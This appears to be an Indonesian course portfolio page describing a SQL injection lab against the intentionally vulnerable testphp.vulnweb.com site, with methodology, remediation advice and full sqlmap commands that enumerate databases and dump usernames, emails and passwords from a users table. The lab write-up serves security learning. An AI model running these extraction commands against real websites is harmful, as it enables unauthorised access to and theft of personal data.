Penetration Testing Web : SQL Injection

Juhari

Sosial Media


0 orang menyukai ini
Suka

Summary

SQL Injection adalah jenis serangan yang mengeksploitasi kelemahan dalam cara aplikasi web menangani input pengguna. Penyerang dapat menyisipkan kode SQL berbahaya ke dalam input yang kemudian dieksekusi oleh database aplikasi. Hal ini dapat menyebabkan akses tidak sah ke data sensitif, modifikasi data,

Description

Portfolio uji penetrasi ini dilakukan untuk mengidentifikasi dan mengeksploitasi potensi kerentanan SQL Injection pada website http://testphp.vulnweb.com/. Hasil pengujian menunjukkan bahwa website tersebut rentan terhadap SQL Injection, memungkinkan penyerang untuk mengakses data sensitif dalam database.

Website yang diuji

http://testphp.vulnweb.com/ adalah website yang sengaja dibuat untuk tujuan pengujian keamanan. Website ini mengandung kerentanan yang disengaja, termasuk kerentanan SQL Injection yang dieksploitasi dalam pengujian ini. Tujuan dari website ini adalah untuk memberikan lingkungan yang aman bagi para profesional keamanan untuk berlatih dan menguji keterampilan mereka dalam mengidentifikasi dan mengeksploitasi kerentanan.

Tujuan 

  • Mengidentifikasi potensi kerentanan SQL Injection pada website target.
  • Mengeksploitasi kerentanan yang ditemukan (jika ada) untuk mendapatkan akses lebih dalam.
  • Mendokumentasikan proses pengujian dan temuan secara rinci.

 

 

Metodologi

Pengujian dilakukan menggunakan alat sqlmap, sebuah alat otomatis untuk mendeteksi dan mengeksploitasi kerentanan SQL Injection. Langkah-langkah yang dilakukan meliputi :

  1. Identifikasi Target : Parameter cat pada URL http://testphp.vulnweb.com/listproducts.php?cat=1 diidentifikasi sebagai potensi titik masuk untuk SQL Injection.
  2. Pemindaian Awal : Sqlmap digunakan untuk melakukan pemindaian awal dan mengidentifikasi database yang digunakan oleh website.
  3. Pencarian Tabel dan Kolom : Sqlmap digunakan untuk menemukan tabel dan kolom yang relevan dalam database.
  4. Eksploitasi (Dumping Data) : Sqlmap berhasil mengekstrak data dari tabel yang rentan, termasuk username dan password pengguna.

 

Rekomendasi

  • Sanitasi Input : Terapkan mekanisme sanitasi input yang ketat untuk memvalidasi dan membersihkan semua input pengguna sebelum digunakan dalam query SQL.
  • Pembaruan Keamanan : Pastikan semua perangkat lunak yang digunakan oleh website (termasuk sistem manajemen konten dan plugin) selalu diperbarui ke versi terbaru.
  • Firewall Aplikasi Web (WAF) : Pertimbangkan untuk menggunakan WAF untuk melindungi website dari berbagai serangan, termasuk SQL Injection.
  • Pembaruan Keamanan : Pastikan semua perangkat lunak yang digunakan oleh website (termasuk sistem manajemen konten dan plugin) selalu diperbarui ke versi terbaru.

 

Perintah ini akan mencoba mengidentifikasi database yang digunakan website : sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs

 

Jika pemindaian awal berhasil, lanjutkan dengan mencari tabel dalam database : sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --tables -D acuart

Setelah menemukan tabel yang menarik, cari kolom di dalamnya. Sebagai contoh dengan menggunakan tabel users : sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --columns -T users

 

Jika menemukan kolom yang sensitif (misalnya, berisi username dan password), coba ekstrak data dengan perintah ini : sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dump -C name,address,email,pass -T users

perintah ini akan nge dumpp data dari column name, address, email dan pass.

Informasi Course Terkait
  Kategori: Cyber Security
  Course: Cyber Security Essential dengan Kali Linux